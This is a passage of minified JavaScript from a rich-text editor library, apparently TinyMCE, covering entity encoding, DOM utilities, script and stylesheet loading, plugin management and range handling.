6,Phi,t7,Chi,t8,Psi,t9,Omega,th,alpha,ti,beta,tj,gamma,tk,delta,tl,epsilon,tm,zeta,tn,eta,to,theta,tp,iota,tq,kappa,tr,lambda,ts,mu,tt,nu,tu,xi,tv,omicron,u0,pi,u1,rho,u2,sigmaf,u3,sigma,u4,tau,u5,upsilon,u6,phi,u7,chi,u8,psi,u9,omega,uh,thetasym,ui,upsih,um,piv,812,bull,816,hellip,81i,prime,81j,Prime,81u,oline,824,frasl,88o,weierp,88h,image,88s,real,892,trade,89l,alefsym,8cg,larr,8ch,uarr,8ci,rarr,8cj,darr,8ck,harr,8dl,crarr,8eg,lArr,8eh,uArr,8ei,rArr,8ej,dArr,8ek,hArr,8g0,forall,8g2,part,8g3,exist,8g5,empty,8g7,nabla,8g8,isin,8g9,notin,8gb,ni,8gf,prod,8gh,sum,8gi,minus,8gn,lowast,8gq,radic,8gt,prop,8gu,infin,8h0,ang,8h7,and,8h8,or,8h9,cap,8ha,cup,8hb,int,8hk,there4,8hs,sim,8i5,cong,8i8,asymp,8j0,ne,8j1,equiv,8j4,le,8j5,ge,8k2,sub,8k3,sup,8k4,nsub,8k6,sube,8k7,supe,8kl,oplus,8kn,otimes,8l5,perp,8m5,sdot,8o8,lceil,8o9,rceil,8oa,lfloor,8ob,rfloor,8p9,lang,8pa,rang,9ea,loz,9j0,spades,9j3,clubs,9j5,hearts,9j6,diams,ai,OElig,aj,oelig,b0,Scaron,b1,scaron,bo,Yuml,m6,circ,ms,tilde,802,ensp,803,emsp,809,thinsp,80c,zwnj,80d,zwj,80e,lrm,80f,rlm,80j,ndash,80k,mdash,80o,lsquo,80p,rsquo,80q,sbquo,80s,ldquo,80t,rdquo,80u,bdquo,810,dagger,811,Dagger,81g,permil,81p,lsaquo,81q,rsaquo,85c,euro",32);var f={encodeRaw:function(e,t){return e.replace(t?s:l,function(e){return o[e]||e})},encodeAllRaw:function(e){return(""+e).replace(c,function(e){return o[e]||e})},encodeNumeric:function(e,t){return e.replace(t?s:l,function(e){return e.length>1?"&#"+(1024*(e.charCodeAt(0)-55296)+(e.charCodeAt(1)-56320)+65536)+";":o[e]||"&#"+e.charCodeAt(0)+";"})},encodeNamed:function(e,t,n){return n=n||i,e.replace(t?s:l,function(e){return o[e]||n[e]||e})},getEncodeFunc:function(e,t){function a(e,n){return e.replace(n?s:l,function(e){return o[e]||t[e]||"&#"+e.charCodeAt(0)+";"||e})}function c(e,n){return f.encodeNamed(e,n,t)}return t=n(t)||i,e=r(e.replace(/\+/g,",")),e.named&&e.numeric?a:e.named?t?c:f.encodeNamed:e.numeric?f.encodeNumeric:f.encodeRaw},decode:function(e){return e.replace(u,function(e,n,r){return n?(r=parseInt(r,2===n.length?16:10),r>65535?(r-=65536,String.fromCharCode(55296+(r>>10),56320+(1023&r))):d[r]||String.fromCharCode(r)):a[e]||i[e]||t(e)})}};return f}),r(v,[d],function(e){return function(t,n){function r(e){t.getElementsByTagName("head")[0].appendChild(e)}function i(n,i,l){function c(){for(var e=y.passed,t=e.length;t--;)e[t]();y.status=2,y.passed=[],y.failed=[]}function u(){for(var e=y.failed,t=e.length;t--;)e[t]();y.status=3,y.passed=[],y.failed=[]}function d(){var e=navigator.userAgent.match(/WebKit\/(\d*)/);return!!(e&&e[1]<536)}function f(e,t){e()||((new Date).getTime()-v<s?window.setTimeout(t,0):u())}function p(){f(function(){for(var e=t.styleSheets,n,r=e.length,i;r--;)if(n=e[r],i=n.ownerNode?n.ownerNode:n.owningElement,i&&i.id===m.id)return c(),!0},p)}function h(){f(function(){try{var e=g.sheet.cssRules;return c(),!!e}catch(t){}},h)}var m,g,v,y;if(n=e._addCacheSuffix(n),a[n]?y=a[n]:(y={passed:[],failed:[]},a[n]=y),i&&y.passed.push(i),l&&y.failed.push(l),1!=y.status){if(2==y.status)return void c();if(3==y.status)return void u();if(y.status=1,m=t.createElement("link"),m.rel="stylesheet",m.type="text/css",m.id="u"+o++,m.async=!1,m.defer=!1,v=(new Date).getTime(),"onload"in m&&!d())m.onload=p,m.onerror=u;else{if(navigator.userAgent.indexOf("Firefox")>0)return g=t.createElement("style"),g.textContent='@import "'+n+'"',h(),void r(g);p()}r(m),m.href=n}}var o=0,a={},s;n=n||{},s=n.maxLoadTime||5e3,this.load=i}}),r(y,[c,f,p,l,h,m,g,u,d,v],function(e,n,r,i,o,a,s,l,c,u){function d(e,t){var n={},r=t.keep_values,i;return i={set:function(n,r,i){t.url_converter&&(r=t.url_converter.call(t.url_converter_scope||e,r,i,n[0])),n.attr("data-mce-"+i,r).attr(i,r)},get:function(e,t){return e.attr("data-mce-"+t)||e.attr(t)}},n={style:{set:function(e,t){return null!==t&&"object"==typeof t?void e.css(t):(r&&e.attr("data-mce-style",t),void e.attr("style",t))},get:function(t){var n=t.attr("data-mce-style")||t.attr("style");return n=e.serializeStyle(e.parseStyle(n),t[0].nodeName)}}},r&&(n.href=n.src=i),n}function f(e,t){var o=this,a;o.doc=e,o.win=window,o.files={},o.counter=0,o.stdMode=!v||e.documentMode>=8,o.boxModel=!v||"CSS1Compat"==e.compatMode||o.stdMode,o.styleSheetLoader=new u(e),o.boundEvents=[],o.settings=t=t||{},o.schema=t.schema,o.styles=new r({url_converter:t.url_converter,url_converter_scope:t.url_converter_scope},t.schema),o.fixDoc(e),o.events=t.ownEvents?new i(t.proxy):i.Event,o.attrHooks=d(o,t),a=t.schema?t.schema.getBlockElements():{},o.$=n.overrideDefaults(function(){return{context:e,element:o.getRoot()}}),o.isBlock=function(e){if(!e)return!1;var t=e.nodeType;return t?!(1!==t||!a[e.nodeName]):!!a[e]}}var p=c.each,h=c.is,m=c.grep,g=c.trim,v=l.ie,y=/^([a-z0-9],?)+$/i,b=/^[ \t\r\n]*$/;return f.prototype={$$:function(e){return"string"==typeof e&&(e=this.get(e)),this.$(e)},root:null,fixDoc:function(e){var t=this.settings,n;if(v&&t.schema){"abbr article aside audio canvas details figcaption figure footer header hgroup mark menu meter nav output progress section summary time video".replace(/\w+/g,function(t){e.createElement(t)});for(n in t.schema.getCustomElements())e.createElement(n)}},clone:function(e,t){var n=this,r,i;return!v||1!==e.nodeType||t?e.cloneNode(t):(i=n.doc,t?r.firstChild:(r=i.createElement(e.nodeName),p(n.getAttribs(e),function(t){n.setAttrib(r,t.nodeName,n.getAttrib(e,t.nodeName))}),r))},getRoot:function(){var e=this;return e.settings.root_element||e.doc.body},getViewPort:function(e){var t,n;return e=e?e:this.win,t=e.document,n=this.boxModel?t.documentElement:t.body,{x:e.pageXOffset||n.scrollLeft,y:e.pageYOffset||n.scrollTop,w:e.innerWidth||n.clientWidth,h:e.innerHeight||n.clientHeight}},getRect:function(e){var t=this,n,r;return e=t.get(e),n=t.getPos(e),r=t.getSize(e),{x:n.x,y:n.y,w:r.w,h:r.h}},getSize:function(e){var t=this,n,r;return e=t.get(e),n=t.getStyle(e,"width"),r=t.getStyle(e,"height"),-1===n.indexOf("px")&&(n=0),-1===r.indexOf("px")&&(r=0),{w:parseInt(n,10)||e.offsetWidth||e.clientWidth,h:parseInt(r,10)||e.offsetHeight||e.clientHeight}},getParent:function(e,t,n){return this.getParents(e,t,n,!1)},getParents:function(e,n,r,i){var o=this,a,s=[];for(e=o.get(e),i=i===t,r=r||("BODY"!=o.getRoot().nodeName?o.getRoot().parentNode:null),h(n,"string")&&(a=n,n="*"===n?function(e){return 1==e.nodeType}:function(e){return o.is(e,a)});e&&e!=r&&e.nodeType&&9!==e.nodeType;){if(!n||n(e)){if(!i)return e;s.push(e)}e=e.parentNode}return i?s:null},get:function(e){var t;return e&&this.doc&&"string"==typeof e&&(t=e,e=this.doc.getElementById(e),e&&e.id!==t)?this.doc.getElementsByName(t)[1]:e},getNext:function(e,t){return this._findSib(e,t,"nextSibling")},getPrev:function(e,t){return this._findSib(e,t,"previousSibling")},select:function(t,n){var r=this;return e(t,r.get(n)||r.settings.root_element||r.doc,[])},is:function(n,r){var i;if(n.length===t){if("*"===r)return 1==n.nodeType;if(y.test(r)){for(r=r.toLowerCase().split(/,/),n=n.nodeName.toLowerCase(),i=r.length-1;i>=0;i--)if(r[i]==n)return!0;return!1}}if(n.nodeType&&1!=n.nodeType)return!1;var o=n.nodeType?[n]:n;return e(r,o[0].ownerDocument||o[0],null,o).length>0},add:function(e,t,n,r,i){var o=this;return this.run(e,function(e){var a;return a=h(t,"string")?o.doc.createElement(t):t,o.setAttribs(a,n),r&&(r.nodeType?a.appendChild(r):o.setHTML(a,r)),i?a:e.appendChild(a)})},create:function(e,t,n){return this.add(this.doc.createElement(e),e,t,n,1)},createHTML:function(e,t,n){var r="",i;r+="<"+e;for(i in t)t.hasOwnProperty(i)&&null!==t[i]&&"undefined"!=typeof t[i]&&(r+=" "+i+'="'+this.encode(t[i])+'"');return"undefined"!=typeof n?r+">"+n+"</"+e+">":r+" />"},createFragment:function(e){var t,n,r=this.doc,i;for(i=r.createElement("div"),t=r.createDocumentFragment(),e&&(i.innerHTML=e);n=i.firstChild;)t.appendChild(n);return t},remove:function(e,t){return e=this.$$(e),t?e.each(function(){for(var e;e=this.firstChild;)3==e.nodeType&&0===e.data.length?this.removeChild(e):this.parentNode.insertBefore(e,this)}).remove():e.remove(),e.length>1?e.toArray():e[0]},setStyle:function(e,t,n){e=this.$$(e).css(t,n),this.settings.update_styles&&e.attr("data-mce-style",null)},getStyle:function(e,n,r){return e=this.$$(e),r?e.css(n):(n=n.replace(/-(\D)/g,function(e,t){return t.toUpperCase()}),"float"==n&&(n=v?"styleFloat":"cssFloat"),e[0]&&e[0].style?e[0].style[n]:t)},setStyles:function(e,t){e=this.$$(e).css(t),this.settings.update_styles&&e.attr("data-mce-style",null)},removeAllAttribs:function(e){return this.run(e,function(e){var t,n=e.attributes;for(t=n.length-1;t>=0;t--)e.removeAttributeNode(n.item(t))})},setAttrib:function(e,t,n){var r=this,i,o,a=r.settings;""===n&&(n=null),e=r.$$(e),i=e.attr(t),e.length&&(o=r.attrHooks[t],o&&o.set?o.set(e,n,t):e.attr(t,n),i!=n&&a.onSetAttrib&&a.onSetAttrib({attrElm:e,attrName:t,attrValue:n}))},setAttribs:function(e,t){var n=this;n.$$(e).each(function(e,r){p(t,function(e,t){n.setAttrib(r,t,e)})})},getAttrib:function(e,t,n){var r=this,i,o;return e=r.$$(e),e.length&&(i=r.attrHooks[t],o=i&&i.get?i.get(e,t):e.attr(t)),"undefined"==typeof o&&(o=n||""),o},getPos:function(e,t){var r=this,i=0,o=0,a,s=r.doc,l=s.body,c;if(e=r.get(e),t=t||l,e){if(t===l&&e.getBoundingClientRect&&"static"===n(l).css("position"))return c=e.getBoundingClientRect(),t=r.boxModel?s.documentElement:l,i=c.left+(s.documentElement.scrollLeft||l.scrollLeft)-t.clientLeft,o=c.top+(s.documentElement.scrollTop||l.scrollTop)-t.clientTop,{x:i,y:o};for(a=e;a&&a!=t&&a.nodeType;)i+=a.offsetLeft||0,o+=a.offsetTop||0,a=a.offsetParent;for(a=e.parentNode;a&&a!=t&&a.nodeType;)i-=a.scrollLeft||0,o-=a.scrollTop||0,a=a.parentNode}return{x:i,y:o}},parseStyle:function(e){return this.styles.parse(e)},serializeStyle:function(e,t){return this.styles.serialize(e,t)},addStyle:function(e){var t=this,n=t.doc,r,i;if(t!==f.DOM&&n===document){var o=f.DOM.addedStyles;if(o=o||[],o[e])return;o[e]=!0,f.DOM.addedStyles=o}i=n.getElementById("mceDefaultStyles"),i||(i=n.createElement("style"),i.id="mceDefaultStyles",i.type="text/css",r=n.getElementsByTagName("head")[0],r.firstChild?r.insertBefore(i,r.firstChild):r.appendChild(i)),i.styleSheet?i.styleSheet.cssText+=e:i.appendChild(n.createTextNode(e))},loadCSS:function(e){var t=this,n=t.doc,r;return t!==f.DOM&&n===document?void f.DOM.loadCSS(e):(e||(e=""),r=n.getElementsByTagName("head")[0],void p(e.split(","),function(e){var i;e=c._addCacheSuffix(e),t.files[e]||(t.files[e]=!0,i=t.create("link",{rel:"stylesheet",href:e}),v&&n.documentMode&&n.recalc&&(i.onload=function(){n.recalc&&n.recalc(),i.onload=null}),r.appendChild(i))}))},addClass:function(e,t){this.$$(e).addClass(t)},removeClass:function(e,t){this.toggleClass(e,t,!1)},hasClass:function(e,t){return this.$$(e).hasClass(t)},toggleClass:function(e,t,r){this.$$(e).toggleClass(t,r).each(function(){""===this.className&&n(this).attr("class",null)})},show:function(e){this.$$(e).show()},hide:function(e){this.$$(e).hide()},isHidden:function(e){return"none"==this.$$(e).css("display")},uniqueId:function(e){return(e?e:"mce_")+this.counter++},setHTML:function(e,t){e=this.$$(e),v?e.each(function(e,r){if(r.canHaveHTML!==!1){for(;r.firstChild;)r.removeChild(r.firstChild);try{r.innerHTML="<br>"+t,r.removeChild(r.firstChild)}catch(i){n("<div>").html("<br>"+t).contents().slice(1).appendTo(r)}return t}}):e.html(t)},getOuterHTML:function(e){return e=this.get(e),1==e.nodeType?e.outerHTML:n("<div>").append(n(e).clone()).html()},setOuterHTML:function(e,t){var r=this;r.$$(e).each(function(){try{this.outerHTML=t}catch(e){r.remove(n(this).html(t),!0)}})},decode:s.decode,encode:s.encodeAllRaw,insertAfter:function(e,t){return t=this.get(t),this.run(e,function(e){var n,r;return n=t.parentNode,r=t.nextSibling,r?n.insertBefore(e,r):n.appendChild(e),e})},replace:function(e,t,n){var r=this;return r.run(t,function(t){return h(t,"array")&&(e=e.cloneNode(!0)),n&&p(m(t.childNodes),function(t){e.appendChild(t)}),t.parentNode.replaceChild(e,t)})},rename:function(e,t){var n=this,r;return e.nodeName!=t.toUpperCase()&&(r=n.create(t),p(n.getAttribs(e),function(t){n.setAttrib(r,t.nodeName,n.getAttrib(e,t.nodeName))}),n.replace(r,e,1)),r||e},findCommonAncestor:function(e,t){for(var n=e,r;n;){for(r=t;r&&n!=r;)r=r.parentNode;if(n==r)break;n=n.parentNode}return!n&&e.ownerDocument?e.ownerDocument.documentElement:n},toHex:function(e){return this.styles.toHex(c.trim(e))},run:function(e,t,n){var r=this,i;return"string"==typeof e&&(e=r.get(e)),e?(n=n||this,e.nodeType||!e.length&&0!==e.length?t.call(n,e):(i=[],p(e,function(e,o){e&&("string"==typeof e&&(e=r.get(e)),i.push(t.call(n,e,o)))}),i)):!1},getAttribs:function(e){var t;if(e=this.get(e),!e)return[];if(v){if(t=[],"OBJECT"==e.nodeName)return e.attributes;"OPTION"===e.nodeName&&this.getAttrib(e,"selected")&&t.push({specified:1,nodeName:"selected"});var n=/<\/?[\w:\-]+ ?|=[\"][^\"]+\"|=\'[^\']+\'|=[\w\-]+|>/gi;return e.cloneNode(!1).outerHTML.replace(n,"").replace(/[\w:\-]+/gi,function(e){t.push({specified:1,nodeName:e})}),t}return e.attributes},isEmpty:function(e,t){var n=this,r,i,a,s,l,c=0;if(e=e.firstChild){s=new o(e,e.parentNode),t=t||(n.schema?n.schema.getNonEmptyElements():null);do{if(a=e.nodeType,1===a){if(e.getAttribute("data-mce-bogus"))continue;if(l=e.nodeName.toLowerCase(),t&&t[l]){if("br"===l){c++;continue}return!1}for(i=n.getAttribs(e),r=i.length;r--;)if(l=i[r].nodeName,"name"===l||"data-mce-bookmark"===l)return!1}if(8==a)return!1;if(3===a&&!b.test(e.nodeValue))return!1}while(e=s.next())}return 1>=c},createRng:function(){var e=this.doc;return e.createRange?e.createRange():new a(this)},nodeIndex:function(e,t){var n=0,r,i;if(e)for(r=e.nodeType,e=e.previousSibling;e;e=e.previousSibling)i=e.nodeType,(!t||3!=i||i!=r&&e.nodeValue.length)&&(n++,r=i);return n},split:function(e,t,n){function r(e){function t(e){var t=e.previousSibling&&"SPAN"==e.previousSibling.nodeName,n=e.nextSibling&&"SPAN"==e.nextSibling.nodeName;return t&&n}var n,o=e.childNodes,a=e.nodeType;if(1!=a||"bookmark"!=e.getAttribute("data-mce-type")){for(n=o.length-1;n>=0;n--)r(o[n]);if(9!=a){if(3==a&&e.nodeValue.length>0){var s=g(e.nodeValue).length;if(!i.isBlock(e.parentNode)||s>0||0===s&&t(e))return
+}else if(1==a&&(o=e.childNodes,1==o.length&&o[0]&&1==o[0].nodeType&&"bookmark"==o[0].getAttribute("data-mce-type")&&e.parentNode.insertBefore(o[0],e),o.length||/^(br|hr|input|img)$/i.test(e.nodeName)))return;i.remove(e)}return e}}var i=this,o=i.createRng(),a,s,l;return e&&t?(o.setStart(e.parentNode,i.nodeIndex(e)),o.setEnd(t.parentNode,i.nodeIndex(t)),a=o.extractContents(),o=i.createRng(),o.setStart(t.parentNode,i.nodeIndex(t)+1),o.setEnd(e.parentNode,i.nodeIndex(e)+1),s=o.extractContents(),l=e.parentNode,l.insertBefore(r(a),e),n?l.replaceChild(n,t):l.insertBefore(t,e),l.insertBefore(r(s),e),i.remove(e),n||t):void 0},bind:function(e,t,n,r){var i=this;if(c.isArray(e)){for(var o=e.length;o--;)e[o]=i.bind(e[o],t,n,r);return e}return!i.settings.collect||e!==i.doc&&e!==i.win||i.boundEvents.push([e,t,n,r]),i.events.bind(e,t,n,r||i)},unbind:function(e,t,n){var r=this,i;if(c.isArray(e)){for(i=e.length;i--;)e[i]=r.unbind(e[i],t,n);return e}if(r.boundEvents&&(e===r.doc||e===r.win))for(i=r.boundEvents.length;i--;){var o=r.boundEvents[i];e!=o[0]||t&&t!=o[1]||n&&n!=o[2]||this.events.unbind(o[0],o[1],o[2])}return this.events.unbind(e,t,n)},fire:function(e,t,n){return this.events.fire(e,t,n)},getContentEditable:function(e){var t;return e&&1==e.nodeType?(t=e.getAttribute("data-mce-contenteditable"),t&&"inherit"!==t?t:"inherit"!==e.contentEditable?e.contentEditable:null):null},getContentEditableParent:function(e){for(var t=this.getRoot(),n=null;e&&e!==t&&(n=this.getContentEditable(e),null===n);e=e.parentNode);return n},destroy:function(){var t=this;if(t.boundEvents){for(var n=t.boundEvents.length;n--;){var r=t.boundEvents[n];this.events.unbind(r[0],r[1],r[2])}t.boundEvents=null}e.setDocument&&e.setDocument(),t.win=t.doc=t.root=t.events=t.frag=null},isChildOf:function(e,t){for(;e;){if(t===e)return!0;e=e.parentNode}return!1},dumpRng:function(e){return"startContainer: "+e.startContainer.nodeName+", startOffset: "+e.startOffset+", endContainer: "+e.endContainer.nodeName+", endOffset: "+e.endOffset},_findSib:function(e,t,n){var r=this,i=t;if(e)for("string"==typeof i&&(i=function(e){return r.is(e,t)}),e=e[n];e;e=e[n])if(i(e))return e;return null}},f.DOM=new f(document),f}),r(b,[y,d],function(e,t){function n(){function e(e,n){function i(){a.remove(l),s&&(s.onreadystatechange=s.onload=s=null),n()}function o(){"undefined"!=typeof console&&console.log&&console.log("Failed to load: "+e)}var a=r,s,l;l=a.uniqueId(),s=document.createElement("script"),s.id=l,s.type="text/javascript",s.src=t._addCacheSuffix(e),"onreadystatechange"in s?s.onreadystatechange=function(){/loaded|complete/.test(s.readyState)&&i()}:s.onload=i,s.onerror=o,(document.getElementsByTagName("head")[0]||document.body).appendChild(s)}var n=0,a=1,s=2,l={},c=[],u={},d=[],f=0,p;this.isDone=function(e){return l[e]==s},this.markDone=function(e){l[e]=s},this.add=this.load=function(e,t,r){var i=l[e];i==p&&(c.push(e),l[e]=n),t&&(u[e]||(u[e]=[]),u[e].push({func:t,scope:r||this}))},this.loadQueue=function(e,t){this.loadScripts(c,e,t)},this.loadScripts=function(t,n,r){function c(e){i(u[e],function(e){e.func.call(e.scope)}),u[e]=p}var h;d.push({func:n,scope:r||this}),(h=function(){var n=o(t);t.length=0,i(n,function(t){return l[t]==s?void c(t):void(l[t]!=a&&(l[t]=a,f++,e(t,function(){l[t]=s,f--,c(t),h()})))}),f||(i(d,function(e){e.func.call(e.scope)}),d.length=0)})()}}var r=e.DOM,i=t.each,o=t.grep;return n.ScriptLoader=new n,n}),r(C,[b,d],function(e,n){function r(){var e=this;e.items=[],e.urls={},e.lookup={}}var i=n.each;return r.prototype={get:function(e){return this.lookup[e]?this.lookup[e].instance:t},dependencies:function(e){var t;return this.lookup[e]&&(t=this.lookup[e].dependencies),t||[]},requireLangPack:function(t,n){var i=r.language;if(i&&r.languageLoad!==!1){if(n)if(n=","+n+",",-1!=n.indexOf(","+i.substr(0,2)+","))i=i.substr(0,2);else if(-1==n.indexOf(","+i+","))return;e.ScriptLoader.add(this.urls[t]+"/langs/"+i+".js")}},add:function(e,t,n){return this.items.push(t),this.lookup[e]={instance:t,dependencies:n},t},createUrl:function(e,t){return"object"==typeof t?t:{prefix:e.prefix,resource:t,suffix:e.suffix}},addComponents:function(t,n){var r=this.urls[t];i(n,function(t){e.ScriptLoader.add(r+"/"+t)})},load:function(n,o,a,s){function l(){var r=c.dependencies(n);i(r,function(e){var n=c.createUrl(o,e);c.load(n.resource,n,t,t)}),a&&a.call(s?s:e)}var c=this,u=o;c.urls[n]||("object"==typeof o&&(u=o.prefix+o.resource+o.suffix),0!==u.indexOf("/")&&-1==u.indexOf("://")&&(u=r.baseURL+"/"+u),c.urls[n]=u.substring(0,u.lastIndexOf("/")),c.lookup[n]?l():e.ScriptLoader.add(u,l,s))}},r.PluginManager=new r,r.ThemeManager=new r,r}),r(x,[d,h],function(e,t){function n(e,t){var n=e.childNodes;return t--,t>n.length-1?t=n.length-1:0>t&&(t=0),n[t]||e}function r(e){this.walk=function(t,r){function o(e){var t;return t=e[0],3===t.nodeType&&t===c&&u>=t.nodeValue.length&&e.splice(0,1),t=e[e.length-1],0===f&&e.length>0&&t===d&&3===t.nodeType&&e.splice(e.length-1,1),e}function a(e,t,n){for(var r=[];e&&e!=n;e=e[t])r.push(e);return r}function s(e,t){do{if(e.parentNode==t)return e;e=e.parentNode}while(e)}function l(e,t,n){var i=n?"nextSibling":"previousSibling";for(g=e,v=g.parentNode;g&&g!=t;g=v)v=g.parentNode,y=a(g==e?g:g[i],i),y.length&&(n||y.reverse(),r(o(y)))}var c=t.startContainer,u=t.startOffset,d=t.endContainer,f=t.endOffset,p,h,m,g,v,y,b;if(b=e.select("td.mce-item-selected,th.mce-item-selected"),b.length>0)return void i(b,function(e){r([e])});if(1==c.nodeType&&c.hasChildNodes()&&(c=c.childNodes[u]),1==d.nodeType&&d.hasChildNodes()&&(d=n(d,f)),c==d)return r(o([c]));for(p=e.findCommonAncestor(c,d),g=c;g;g=g.parentNode){if(g===d)return l(c,p,!0);if(g===p)break}for(g=d;g;g=g.parentNode){if(g===c)return l(d,p);if(g===p)break}h=s(c,p)||c,m=s(d,p)||d,l(c,h,!0),y=a(h==c?h:h.nextSibling,"nextSibling",m==d?m.nextSibling:m),y.length&&r(o(y)),l(d,m)},this.split=function(e){function t(e,t){return e.splitText(t)}var n=e.startContainer,r=e.startOffset,i=e.endContainer,o=e.endOffset;return n==i&&3==n.nodeType?r>0&&r<n.nodeValue.length&&(i=t(n,r),n=i.previousSibling,o>r?(o-=r,n=i=t(i,o).previousSibling,o=i.nodeValue.length,r=0):o=0):(3==n.nodeType&&r>0&&r<n.nodeValue.length&&(n=t(n,r),r=0),3==i.nodeType&&o>0&&o<i.nodeValue.length&&(i=t(i,o).previousSibling,o=i.nodeValue.length)),{startContainer:n,startOffset:r,endContainer:i,endOffset:o}},this.normalize=function(n){function r(r){function a(n,r){for(var i=new t(n,e.getParent(n.parentNode,e.isBlock)||f);n=i[r?"prev":"next"]();)if("BR"===n.nodeName)return!0}function s(e,t){return e.previousSibling&&e.previousSibling.nodeName==t}function l(n,r){var a,s,l;if(r=r||c,l=e.getParent(r.parentNode,e.isBlock)||f,n&&"BR"==r.nodeName&&g&&e.isEmpty(l))return c=r.parentNode,u=e.nodeIndex(r),void(i=!0);for(a=new t(r,l);p=a[n?"prev":"next"]();){if("false"===e.getContentEditableParent(p))return;if(3===p.nodeType&&p.nodeValue.length>0)return c=p,u=n?p.nodeValue.length:0,void(i=!0);if(e.isBlock(p)||h[p.nodeName.toLowerCase()])return;s=p}o&&s&&(c=s,i=!0,u=0)}var c,u,d,f=e.getRoot(),p,h,m,g;if(c=n[(r?"start":"end")+"Container"],u=n[(r?"start":"end")+"Offset"],g=1==c.nodeType&&u===c.childNodes.length,h=e.schema.getNonEmptyElements(),m=r,1==c.nodeType&&u>c.childNodes.length-1&&(m=!1),9===c.nodeType&&(c=e.getRoot(),u=0),c===f){if(m&&(p=c.childNodes[u>0?u-1:0],p&&(h[p.nodeName]||"TABLE"==p.nodeName)))return;if(c.hasChildNodes()&&(u=Math.min(!m&&u>0?u-1:u,c.childNodes.length-1),c=c.childNodes[u],u=0,c.hasChildNodes()&&!/TABLE/.test(c.nodeName))){p=c,d=new t(c,f);do{if(3===p.nodeType&&p.nodeValue.length>0){u=m?0:p.nodeValue.length,c=p,i=!0;break}if(h[p.nodeName.toLowerCase()]){u=e.nodeIndex(p),c=p.parentNode,"IMG"!=p.nodeName||m||u++,i=!0;break}}while(p=m?d.next():d.prev())}}o&&(3===c.nodeType&&0===u&&l(!0),1===c.nodeType&&(p=c.childNodes[u],p||(p=c.childNodes[u-1]),!p||"BR"!==p.nodeName||s(p,"A")||a(p)||a(p,!0)||l(!0,p))),m&&!o&&3===c.nodeType&&u===c.nodeValue.length&&l(!1),i&&n["set"+(r?"Start":"End")](c,u)}var i,o;return o=n.collapsed,r(!0),o||r(),i&&o&&n.collapse(!0),i}}var i=e.each;return r.compareRanges=function(e,t){if(e&&t){if(!e.item&&!e.duplicate)return e.startContainer==t.startContainer&&e.startOffset==t.startOffset;if(e.item&&t.item&&e.item(0)===t.item(0))return!0;if(e.isEqual&&t.isEqual&&t.isEqual(e))return!0}return!1},r}),r(w,[x],function(e){return function(t){function n(e){var n,r;if(r=t.$(e).parentsUntil(t.getBody()).add(e),r.length===i.length){for(n=r.length;n>=0&&r[n]===i[n];n--);if(-1===n)return i=r,!0}return i=r,!1}var r,i=[];"onselectionchange"in t.getDoc()||t.on("NodeChange Click MouseUp KeyUp Focus",function(n){var i,o;i=t.selection.getRng(),o={startContainer:i.startContainer,startOffset:i.startOffset,endContainer:i.endContainer,endOffset:i.endOffset},"nodechange"!=n.type&&e.compareRanges(o,r)||t.fire("SelectionChange"),r=o}),t.on("contextmenu",function(){t.fire("SelectionChange")}),t.on("SelectionChange",function(){var e=t.selection.getStart(!0);t.selection.isCollapsed()||n(e)||!t.dom.isChildOf(e,t.getBody())||t.nodeChanged({selectionChange:!0})}),t.on("MouseUp",function(e){e.isDefaultPrevented()||setTimeout(function(){t.nodeChanged()},0)}),this.nodeChanged=function(e){var n=t.selection,r,i,o;t.initialized&&n&&!t.settings.disable_nodechange&&!t.settings.readonly&&(o=t.getBody(),r=n.getStart()||o,r=r.ownerDocument!=t.getDoc()?t.getBody():r,"IMG"==r.nodeName&&n.isCollapsed()&&(r=r.parentNode),i=[],t.dom.getParent(r,function(e){return e===o?!0:void i.push(e)}),e=e||{},e.element=r,e.parents=i,t.fire("NodeChange",e))}}}),r(_,[],function(){function e(e,t,n){var r,i,o=n?"lastChild":"firstChild",a=n?"prev":"next";if(e[o])return e[o];if(e!==t){if(r=e[a])return r;for(i=e.parent;i&&i!==t;i=i.parent)if(r=i[a])return r}}function t(e,t){this.name=e,this.type=t,1===t&&(this.attributes=[],this.attributes.map={})}var n=/^[ \t\r\n]*$/,r={"#text":3,"#comment":8,"#cdata":4,"#pi":7,"#doctype":10,"#document-fragment":11};return t.prototype={replace:function(e){var t=this;return e.parent&&e.remove(),t.insert(e,t),t.remove(),t},attr:function(e,t){var n=this,r,i,o;if("string"!=typeof e){for(i in e)n.attr(i,e[i]);return n}if(r=n.attributes){if(t!==o){if(null===t){if(e in r.map)for(delete r.map[e],i=r.length;i--;)if(r[i].name===e)return r=r.splice(i,1),n;return n}if(e in r.map){for(i=r.length;i--;)if(r[i].name===e){r[i].value=t;break}}else r.push({name:e,value:t});return r.map[e]=t,n}return r.map[e]}},clone:function(){var e=this,n=new t(e.name,e.type),r,i,o,a,s;if(o=e.attributes){for(s=[],s.map={},r=0,i=o.length;i>r;r++)a=o[r],"id"!==a.name&&(s[s.length]={name:a.name,value:a.value},s.map[a.name]=a.value);n.attributes=s}return n.value=e.value,n.shortEnded=e.shortEnded,n},wrap:function(e){var t=this;return t.parent.insert(e,t),e.append(t),t},unwrap:function(){var e=this,t,n;for(t=e.firstChild;t;)n=t.next,e.insert(t,e,!0),t=n;e.remove()},remove:function(){var e=this,t=e.parent,n=e.next,r=e.prev;return t&&(t.firstChild===e?(t.firstChild=n,n&&(n.prev=null)):r.next=n,t.lastChild===e?(t.lastChild=r,r&&(r.next=null)):n.prev=r,e.parent=e.next=e.prev=null),e},append:function(e){var t=this,n;return e.parent&&e.remove(),n=t.lastChild,n?(n.next=e,e.prev=n,t.lastChild=e):t.lastChild=t.firstChild=e,e.parent=t,e},insert:function(e,t,n){var r;return e.parent&&e.remove(),r=t.parent||this,n?(t===r.firstChild?r.firstChild=e:t.prev.next=e,e.prev=t.prev,e.next=t,t.prev=e):(t===r.lastChild?r.lastChild=e:t.next.prev=e,e.next=t.next,e.prev=t,t.next=e),e.parent=r,e},getAll:function(t){var n=this,r,i=[];for(r=n.firstChild;r;r=e(r,n))r.name===t&&i.push(r);return i},empty:function(){var t=this,n,r,i;if(t.firstChild){for(n=[],i=t.firstChild;i;i=e(i,t))n.push(i);for(r=n.length;r--;)i=n[r],i.parent=i.firstChild=i.lastChild=i.next=i.prev=null}return t.firstChild=t.lastChild=null,t},isEmpty:function(t){var r=this,i=r.firstChild,o,a;if(i)do{if(1===i.type){if(i.attributes.map["data-mce-bogus"])continue;if(t[i.name])return!1;for(o=i.attributes.length;o--;)if(a=i.attributes[o].name,"name"===a||0===a.indexOf("data-mce-bookmark"))return!1}if(8===i.type)return!1;if(3===i.type&&!n.test(i.value))return!1}while(i=e(i,r));return!0},walk:function(t){return 